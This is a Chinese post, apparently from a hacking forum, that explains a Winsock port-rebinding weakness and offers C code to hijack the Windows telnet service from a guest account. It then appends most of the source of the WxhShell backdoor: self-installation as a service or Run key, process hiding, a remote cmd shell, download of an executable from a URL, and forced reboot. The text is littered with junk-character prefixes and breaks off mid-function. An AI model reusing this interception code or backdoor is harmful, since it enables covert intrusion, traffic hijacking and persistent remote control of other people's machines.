在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|/09<F:L[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|&FkksNAl\ Z8rvWH9 saddr.sin_family = AF_INET;
9?0^ap,T &?q/1vLa saddr.sin_addr.s_addr = htonl(INADDR_ANY);
*MJX? _59huC. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
kPVO?uO LL2=& VK 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8g&?
Cc kKAP"'v 这意味着什么?意味着可以进行如下的攻击:
.Nw=[ a#>Yh;FA 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
MC<PM6w _(h&7P9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
T(t+
iv A<1hOSCz\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
oW<5|FaN `}mcEl 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
f7=((5N NMa}
< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
p(~Yx3$* i(iXD 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~nrK>% 0URji~?|x 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
TNGU6j}oq BsEF'h'Owh #include
hS)'a^FV #include
$4/yZaVb #include
MhR:c7, #include
*.!Np9l,V DWORD WINAPI ClientThread(LPVOID lpParam);
.Yf:[`Q6g int main()
VxVE {
#`o2Z WORD wVersionRequested;
#)C[5?{SNq DWORD ret;
||;hciO WSADATA wsaData;
D|Q#gcWp o BOOL val;
,6om\9.E@ SOCKADDR_IN saddr;
{buo^kgj`] SOCKADDR_IN scaddr;
@}@Z8$G^ int err;
O*0l+mop SOCKET s;
Q
aS\(_ SOCKET sc;
G&4&-< int caddsize;
sOU1n HANDLE mt;
W3 'q\+ DWORD tid;
P/Q!<I wVersionRequested = MAKEWORD( 2, 2 );
K#pNec err = WSAStartup( wVersionRequested, &wsaData );
LN@F+CyDc if ( err != 0 ) {
|NpP2|4h printf("error!WSAStartup failed!\n");
\4v]7SV return -1;
yt.F\ [1 }
y~F,0"N\r saddr.sin_family = AF_INET;
ie2WL\tR4 V+VkY3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
b)=[1g/=L /+@p7FqlE saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}Q=!Y>Tc saddr.sin_port = htons(23);
e A#;AQm if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
T3k#VNH {
vvKEv/pN7 printf("error!socket failed!\n");
Y?(r3E^x return -1;
zmSUw}-4N }
_Em. val = TRUE;
{=F/C,- //SO_REUSEADDR选项就是可以实现端口重绑定的
pKit~A,Q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
bT^I" {
%?p1d! printf("error!setsockopt failed!\n");
'H
\9:7 return -1;
4:r!|PJn{G }
@>W(1mRi //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Z@]e{zO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
.
r[Hu40p //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+f@U6Vv cd$m25CxC if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
a{
?`t| {
{TX]\ufG ret=GetLastError();
I?ae\X@M printf("error!bind failed!\n");
%Ti}CwI` return -1;
kPF9Z "l }
Si6al78 listen(s,2);
LIZRoG8 while(1)
=o& >fw {
K':K{ee> caddsize = sizeof(scaddr);
o]; [R //接受连接请求
L$IQuy sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
L5
veX} if(sc!=INVALID_SOCKET)
<8d^^0 {
<gJU?$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
IE9XU9Kd if(mt==NULL)
W9D86]3Y {
j(RWO printf("Thread Creat Failed!\n");
j^^Ap break;
=jX8.K4] }
1:f9J }
L1Iz<> CloseHandle(mt);
}>VG~u8 }
]dI2y=[!C closesocket(s);
w8Sp<6* WSACleanup();
c@/(B:@ return 0;
*:L?#Bw }
Z; A`oKd DWORD WINAPI ClientThread(LPVOID lpParam)
<;#~l* {
YwZ
Z{+n SOCKET ss = (SOCKET)lpParam;
Qzlo'e1 SOCKET sc;
?q;Fp unsigned char buf[4096];
ReM=eS SOCKADDR_IN saddr;
S5G6Rj@W long num;
DjN|Wr)* DWORD val;
]8f ms( DWORD ret;
+(C6#R<LI //如果是隐藏端口应用的话,可以在此处加一些判断
B,TB3
{ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Cb9;QzBVA# saddr.sin_family = AF_INET;
~:3QBMk:: saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
DsT>3 saddr.sin_port = htons(23);
34d3g if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
l,,>& F {
Bc6|n :;u printf("error!socket failed!\n");
}RwSp!}C return -1;
7tcPwCc{ }
O'W0q;rT val = 100;
Yx eOI#L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~wJFa'2 {
8erSt!oM ret = GetLastError();
>|twyb return -1;
't6V:X }
/)4I|"}R0I if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[$ejp>'Ud {
|b|&XB_<]Z ret = GetLastError();
:1iqT)&|8F return -1;
OU/MiyP2 }
>]W)'lnO if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
> 3&: 5 {
8AnP7}n;?' printf("error!socket connect failed!\n");
m"o ;L3 closesocket(sc);
q~*t@ closesocket(ss);
|m80]@> return -1;
XI9js{p }
sK7+Q while(1)
@O[}QB?/fi {
iv>SsW'p_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=9"W@n[>W //如果是嗅探内容的话,可以再此处进行内容分析和记录
T)Y=zIQ1]7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
hNd}Y'%V num = recv(ss,buf,4096,0);
lhw()u if(num>0)
x}Aw)QCh+r send(sc,buf,num,0);
/yZQ\ {= else if(num==0)
|Tm!VFd break;
DBT&DS num = recv(sc,buf,4096,0);
^9ePfF)5 if(num>0)
-*m+(7G\ send(ss,buf,num,0);
FxVZ[R else if(num==0)
t$A%*JBKm break;
%"af748!+D }
IjR'Qou5 closesocket(ss);
RW }"2 closesocket(sc);
e}.^Tiwd] return 0 ;
k31I ysh }
^8@Iyh |'{zri|A" aMvI?y { ==========================================================
7
<Q5;J&; Q~j`YmR| 下边附上一个代码,,WXhSHELL
XLH+C ]pfr vsr[ur[eP ==========================================================
cg*)0U-_( a(v>Q*zNP #include "stdafx.h"
/Ne<V2AX W@Lu;g.Yc #include <stdio.h>
^pe{b9c #include <string.h>
!Z5[QNVaV #include <windows.h>
Pw;!uag #include <winsock2.h>
TM|)Ljm #include <winsvc.h>
M>>qn_yq4 #include <urlmon.h>
,i,q!M{- v0ES; #pragma comment (lib, "Ws2_32.lib")
[w&$| h:; #pragma comment (lib, "urlmon.lib")
+C(/Lyo} EB_NK #define MAX_USER 100 // 最大客户端连接数
d R]Q$CJ #define BUF_SOCK 200 // sock buffer
o`q_wdy? #define KEY_BUFF 255 // 输入 buffer
_dJ{j <1.A=_
M #define REBOOT 0 // 重启
ul ER1\W #define SHUTDOWN 1 // 关机
"eWYv3z~- &_gTD #define DEF_PORT 5000 // 监听端口
@;H,gEH^ p$x{yz3 #define REG_LEN 16 // 注册表键长度
" $ew~;z #define SVC_LEN 80 // NT服务名长度
Iz{R}#8CZ IW%|G // 从dll定义API
S.d^T]( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
?w+Ix~k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Z t&6Ua[Y} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
@bnG:np typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
K&U7H: `/MvQ/ // wxhshell配置信息
=l0Jb#d struct WSCFG {
}QsZ:J. int ws_port; // 监听端口
.LuB\o$ char ws_passstr[REG_LEN]; // 口令
en:4H int ws_autoins; // 安装标记, 1=yes 0=no
aKd+CO: char ws_regname[REG_LEN]; // 注册表键名
5n
^TRB char ws_svcname[REG_LEN]; // 服务名
QlHd,w char ws_svcdisp[SVC_LEN]; // 服务显示名
6"D/xV3Z char ws_svcdesc[SVC_LEN]; // 服务描述信息
Zb134b' char ws_passmsg[SVC_LEN]; // 密码输入提示信息
^+1#[E int ws_downexe; // 下载执行标记, 1=yes 0=no
Q26qNn
bK char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
LT,? $I char ws_filenam[SVC_LEN]; // 下载后保存的文件名
D^-7JbE] Kmdlf,[3d };
yx<WSgWZ[ Qo1eXMW // default Wxhshell configuration
60)iw4<wf struct WSCFG wscfg={DEF_PORT,
hAjM1UQ,Y "xuhuanlingzhe",
d)"?mD:m/M 1,
bC3 F "Wxhshell",
4ON_$FUe "Wxhshell",
_ %x4ty "WxhShell Service",
]Y| 9?9d "Wrsky Windows CmdShell Service",
s #S%#LM "Please Input Your Password: ",
vc]cNz:mQ 1,
*\o/q[ "
http://www.wrsky.com/wxhshell.exe",
1<h>B: "Wxhshell.exe"
Vm|Y$C };
[M%9_CfZOy p*8-W(u) // 消息定义模块
.<K
iMh char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
3tmdi 3s char *msg_ws_prompt="\n\r? for help\n\r#>";
#%FN>v3e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3w!c`;c% char *msg_ws_ext="\n\rExit.";
}=2; char *msg_ws_end="\n\rQuit.";
7rC uu *M char *msg_ws_boot="\n\rReboot...";
PD LpNTBf char *msg_ws_poff="\n\rShutdown...";
.y&QqxiE
char *msg_ws_down="\n\rSave to ";
\G2B?>E; /2m?15c+ char *msg_ws_err="\n\rErr!";
Hku!bJ char *msg_ws_ok="\n\rOK!";
fbkd "7u thqS*I'#g char ExeFile[MAX_PATH];
NKmoG\* int nUser = 0;
R+~cl;#G6 HANDLE handles[MAX_USER];
%,iIpYx int OsIsNt;
62>zt2= >2?aZ`r+ SERVICE_STATUS serviceStatus;
!8@*F SERVICE_STATUS_HANDLE hServiceStatusHandle;
0iZGPe~ ~kCwJ<E // 函数声明
\M"UmSB o int Install(void);
4W#E`9
6u int Uninstall(void);
D)brPMS:o int DownloadFile(char *sURL, SOCKET wsh);
*E~VKx1 int Boot(int flag);
5eA8niq# void HideProc(void);
u<n`x6gL int GetOsVer(void);
:EtMH( int Wxhshell(SOCKET wsl);
'>v^6iS void TalkWithClient(void *cs);
)!Bd6- int CmdShell(SOCKET sock);
D5an\gE int StartFromService(void);
4"vaMa int StartWxhshell(LPSTR lpCmdLine);
2F8|I7R ((rv]f{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
A`u$A9[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
'?Jxt:< e\b`n}nC // 数据结构和表定义
P=5NKg SERVICE_TABLE_ENTRY DispatchTable[] =
=q"eU=9 {
o_Si mJFK {wscfg.ws_svcname, NTServiceMain},
?K@t0a
{NULL, NULL}
dtAbc7 };
SxjCwX"> ./p|?pu
// 自我安装
)=Q)BN[ int Install(void)
+}
mk>e/ {
@wq#>bm char svExeFile[MAX_PATH];
e0; HKEY key;
xc?}TPpt strcpy(svExeFile,ExeFile);
M/*NM= -a ^<0IB#dA // 如果是win9x系统,修改注册表设为自启动
b%t+,0s| if(!OsIsNt) {
UHGcnz< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Y&2aO1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ba@=^Fa; RegCloseKey(key);
IOK}+C0e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
p$k\m|t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
x>~p;z#VX RegCloseKey(key);
fB+b}aoV return 0;
B/"2., }
MbXq`% }
f'6|OsVQ }
5v^L9!`@%v else {
(XH2Sy IB|]fzy // 如果是NT以上系统,安装为系统服务
A7P`lJgv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
+/?iCmW if (schSCManager!=0)
s~},y]YV {
E-1"+p SC_HANDLE schService = CreateService
^UA(HthY (
Iwpbf Z schSCManager,
RH~3M0'0 wscfg.ws_svcname,
r?l;I3~ wscfg.ws_svcdisp,
h<+|x7u SERVICE_ALL_ACCESS,
Q&M'=+T SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Zwe[_z!*D SERVICE_AUTO_START,
k*-NsNPw$ SERVICE_ERROR_NORMAL,
3hq1yyec svExeFile,
Ewo*yY> NULL,
(3*UPZv NULL,
&2EBk= X NULL,
yoqa@ V NULL,
ODf4+& u NULL
0p fnV% );
cbKL$| if (schService!=0)
:G)<}j"sM {
}iIbcA CloseServiceHandle(schService);
oJ78jGTnb CloseServiceHandle(schSCManager);
S:Tm23pe strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
' eO/PnYW strcat(svExeFile,wscfg.ws_svcname);
CsS p=( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
-cNx1et RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
v@G4G*x\ RegCloseKey(key);
|
W#~F&{] return 0;
30FykNh }
~_ !ts{[E }
Xz;b,C&*t CloseServiceHandle(schSCManager);
MY-.t-3 }
a%hGZCI }
@XOi62( G+)?^QTn return 1;
YDiN^q7 }
-O&"| z^sST // 自我卸载
`HUf v@5 int Uninstall(void)
]
mj
v;C {
)u@t.)ChAV HKEY key;
b"8FlZ$ }sMW3'V if(!OsIsNt) {
i#,1iVSG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q2C)tVK+ RegDeleteValue(key,wscfg.ws_regname);
!Y;<:zx5 RegCloseKey(key);
"+iAd.qd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{Iy7.c8S RegDeleteValue(key,wscfg.ws_regname);
^i<}]c_|f RegCloseKey(key);
b?kPN:U#N/ return 0;
]5|z3<K^ }
2H&{1f\Bf }
p27p~b& }
|*Ot/TvG else {
\Tq"mw9P kqB\xlS7k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
"@/ba!L+ if (schSCManager!=0)
]Sta]}VQ {
p[YWSjf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
DY><qk if (schService!=0)
=aow
d4t {
oA3d^%(c if(DeleteService(schService)!=0) {
Mr6E/7g% CloseServiceHandle(schService);
a@|.;#FF CloseServiceHandle(schSCManager);
g'G8 3F return 0;
MM_py!=>7 }
*d
l"wH& CloseServiceHandle(schService);
X}apxSd" }
$e/*/. CloseServiceHandle(schSCManager);
IYNMU\s }
MOV =n75 }
uFe'$vI /!bx`cKG return 1;
[:i sZG* }
R^9"N?Q7;` ida*]+ ~ // 从指定url下载文件
11*"d# int DownloadFile(char *sURL, SOCKET wsh)
|h1^Gv {
tL8't]M, HRESULT hr;
g)M#{"H char seps[]= "/";
P$h;SK char *token;
-fM1$/] char *file;
}W
"(cYN_ char myURL[MAX_PATH];
v:P!(`sF char myFILE[MAX_PATH];
i$#,XFFp~ ;a{rWz1Wm strcpy(myURL,sURL);
,cQ)cY[ token=strtok(myURL,seps);
d]k=' while(token!=NULL)
zXgkcq) {
#D:RhqjK file=token;
|!re8|JV_ token=strtok(NULL,seps);
\|!gPc%s }
u'@Ely 9}whWh GetCurrentDirectory(MAX_PATH,myFILE);
5TET<f6R strcat(myFILE, "\\");
2$ VTu+ strcat(myFILE, file);
ocP*\NR send(wsh,myFILE,strlen(myFILE),0);
YnxU(v'\ send(wsh,"...",3,0);
NhtEW0xCr hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
J_/05(48 if(hr==S_OK)
%EB;1 return 0;
0HPO"x3-O else
l-=e62I{=| return 1;
E<a.LW@ (qk5f`O }
F25<+1kr sVD([`Nmc // 系统电源模块
j}RM.C\7 int Boot(int flag)
-t b;igv {
tD^a5qPh HANDLE hToken;
^HoJ.oC/ TOKEN_PRIVILEGES tkp;
5|m9:Hv[# J]]\&MtaO if(OsIsNt) {
%9YA^ri OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
(lWKy9eTy` LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1 ?]J;9p tkp.PrivilegeCount = 1;
QZYM9a> tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
sBB:$X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}u7D9_KU if(flag==REBOOT) {
\"bLE0~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
z{V8@q/ return 0;
T;%+ ]:w< }
%rFllb7 else {
?7 X3P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
.)nCOwR6p return 0;
;l#?SYY }
U*xxrt/On/ }
,"C&v~ else {
:9O|l)N)W= if(flag==REBOOT) {
`0[fLEm if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
SJF 2k[da return 0;
~:s!].H }
~s0P FS7 else {
v5gQ9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
*U2Ck<"] return 0;
8\u;Wf }
W-!dMa }
% $\}z(G ]d~MEa9Y| return 1;
7Fc | }
wtUG^hV #_ 3_@G{O)e // win9x进程隐藏模块
.1%i`+uZ void HideProc(void)
TR_(_Yd?36 {
I$F\(]"@ (F_7%!g1d HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2O^32TdS if ( hKernel != NULL )
I>8Bc {
.>a$g7Rj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
C!I\Gh ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
L;kyAX@^ FreeLibrary(hKernel);
<|wmjW/D }
MbM:3 ),z,LU Yf return;
8*"rZh}' }
r$Kh3EEF`E rufRaar // 获取操作系统版本
8Q+TE; int GetOsVer(void)
2GUhV*TN {
(2 mS v OSVERSIONINFO winfo;
~mW>_[RT; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
CVi<~7Am\ GetVersionEx(&winfo);
79y'Ja+`j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Z|f^nH#-C return 1;
&AN%QhI else
..]B9M. return 0;
c
'/2F0y }
b<48#Qy~l ,\Z8*Jr3Q // 客户端句柄模块
Q&tFv;1w6 int Wxhshell(SOCKET wsl)
baA HP" {
mn,=V[f SOCKET wsh;
#`2GAM];7 struct sockaddr_in client;
7Ljs4>%l9j DWORD myID;
chM t5L+5 69[w/\ while(nUser<MAX_USER)
`z5v}T {
#=>kw^5 int nSize=sizeof(client);
vs*_;vx wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
A/r;;S)%2 if(wsh==INVALID_SOCKET) return 1;
F&-5&'6G+ %_cg|yy handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
P2s^=J0@ if(handles[nUser]==0)
`7+tPbjs closesocket(wsh);
\0xzBs1! else
%Td+J`|U+ nUser++;
oo"JMD) }
us(sZG WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Nj"_sA
p ZzSJm+&' return 0;
^2P;CAjj-
}
k)o7COx `V$cz88b // 关闭 socket
ZhxfI?i)l void CloseIt(SOCKET wsh)
(2&K(1.Y {
$=QNGC2+ closesocket(wsh);
jCdZ}M($ nUser--;
Bx_8@+ ExitThread(0);
1WZKQeOo }
mk$Yoz X*D5y8< // 客户端请求句柄
Z.Lx^h+U void TalkWithClient(void *cs)
rl_1),J\qG {
+X4ttv #0#V$AA> SOCKET wsh=(SOCKET)cs;
.oB'ttF1 char pwd[SVC_LEN];
\q>e1- char cmd[KEY_BUFF];
4c9-[KKCV char chr[1];
l93Q"*_ int i,j;
.XZ 71E cJ1{2R while (nUser < MAX_USER) {
:zS>^RE ~j\;e if(wscfg.ws_passstr) {
yS(=eB_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4
g/<).1<b //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
bDcWb2lqs //ZeroMemory(pwd,KEY_BUFF);
NiU tH i=0;
/61ag9pN while(i<SVC_LEN) {
gPn%`_d5 4B%5-VQ
// 设置超时
1L(Nfkh fd_set FdRead;
bTI&#Hu struct timeval TimeOut;
zYNM<W; FD_ZERO(&FdRead);
` Mv5!H5l FD_SET(wsh,&FdRead);
-+Awm{X_@ TimeOut.tv_sec=8;
j/; @P TimeOut.tv_usec=0;
pU\xzL D int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
'8((;N|I^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}*{\)7g UeC%Wa<[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
P+D|_3j pwd
=chr[0]; C'xU=OnA8
if(chr[0]==0xd || chr[0]==0xa) { Mf,Mcvs
pwd=0; G> 5=`
break; z.\[Va$@l
} '+GVozc6c"
i++; }(hYG"5
} *=KexOa9
'44nk(hM69
// 如果是非法用户,关闭 socket tS*^}e*
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cnjj)
c
} t8wz'[z
RF\1.HJG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oVxV,oH(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tkUW)ScJ
y}H*p
while(1) { ?geWR_Z
{?kKpMNNn
ZeroMemory(cmd,KEY_BUFF); a#~Z5>{
y("0Xve
// 自动支持客户端 telnet标准 n?KS]ar>
j=0; _tR.RAaa"
while(j<KEY_BUFF) { 1\7"I-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \!4ghev3
cmd[j]=chr[0]; ?yd(er<_f
if(chr[0]==0xa || chr[0]==0xd) { 9_CA5?y$:
cmd[j]=0; Ozh^Q$>u
break; |rms[1<_
} #uDBF
j++; D ;T r
} FZ'>LZ
PY3Vu]zD
// 下载文件 yvH#1F`{q
if(strstr(cmd,"http://")) { %<#$:Qb.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); sD8xH
if(DownloadFile(cmd,wsh)) sou$qKoG01
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \?`d=n=
else ,BN}H-W\2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t&?v9n"X
} C`K9WJOD
else { qjRiTIp9q
:4L5@>b-
switch(cmd[0]) { ztxQv5=:,
9W,}AWf:Y
// 帮助 "T=3mv%S
case '?': { "x) pp
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Elga}7u
break; DF&jZ[##
} KLv
// 安装 3B_} :
case 'i': { 4Hd@U&E
if(Install()) 2|_Jup
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T`2fPxM:cZ
else PXQ9P<m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uB)6\fkTB
break; <raqp Oo&
} y<LwrrJ>
// 卸载 bz,cfc;?$
case 'r': { !`S%l1[Z
if(Uninstall()) #5"<.z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )PZ}^Fa
else 3U.B[7fOM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mWFZg.#?
break; Q*J ~wuE2
} TH}ycue
// 显示 wxhshell 所在路径 B7jlJqV
case 'p': { |&pz,"(
char svExeFile[MAX_PATH]; QbKYB
strcpy(svExeFile,"\n\r"); aw@Aoq
strcat(svExeFile,ExeFile); UDi3dH=
send(wsh,svExeFile,strlen(svExeFile),0); rM?Dp2
break; ,/?V+3l
} aFm]?75
// 重启 d4eC Bqx
case 'b': { es(LE/`e
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n^(yW
if(Boot(REBOOT)) gm8Tm$fY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $.]t1e7s
else { RxeRO2
closesocket(wsh); )A+j
ExitThread(0); *9:6t6x
} vi.AzO
break; D]`B;aE>A*
}
O,,n
// 关机 *B~:L"N
case 'd': { t>`LO
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g~sNY|%
if(Boot(SHUTDOWN)) ImY*cW=M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TF3q?0
else { w 4gZ:fR=
closesocket(wsh); 5J#gJFA
ExitThread(0); nv[Sb%/
} ,* vnt6C*
break; s3RyLT
} '\mZ7.Jj
// 获取shell 3#ZKuGg=
case 's': { {3uSg)
CmdShell(wsh); Wjk;"_"gd
closesocket(wsh); !P^$g
R
ExitThread(0); 1? hd
break; qJzK8eW
} i|noYo_Ah\
// 退出 -&$%m)wN
case 'x': { R;,HtN
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K?m:.ZM
CloseIt(wsh); kb\v}gfiD/
break; BRLU&@G`1
} dw}3B8]
// 离开 |]3);^0
case 'q': { -6 Si
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 10a*7 L
closesocket(wsh); @Lv_\^2/}
WSACleanup(); j1CD;9i)%
exit(1); {OoNhN9
break; aJ_Eh(cF
} M<m64{m1
} F+9`G[
} [bVP2j
M!DoR6
// 提示信息 nhhJUN?8
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Kqu7DZ+W
} 0J-ux"kfI
} >-+X;0&
s1apHwJ -
return; ;-Dd\\)p
} S^n4aBm\+
}4MG114j
// shell模块句柄 +!Ag n)
int CmdShell(SOCKET sock) ?6]ZQ\,
{ |OT%,QT|
STARTUPINFO si; ;mxT>|z
ZeroMemory(&si,sizeof(si)); `IQC\DSl/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _ILOA]ga#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; SO<K#HfE$?
PROCESS_INFORMATION ProcessInfo; *4VP5]!
char cmdline[]="cmd"; r+Cha%&D
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LtIZgOd<
return 0; m:7bynT{
} 6FFv+{2^@
oh~Dbu=%
// 自身启动模式 iW$i%`>
int StartFromService(void) RIc<
{ l7um9@[4
typedef struct ;.a)r
{ 8rNxd=!
DWORD ExitStatus; PelV67?M
DWORD PebBaseAddress; #(4hX6?5AI
DWORD AffinityMask; MT g Eq
DWORD BasePriority; }`]^LFU5
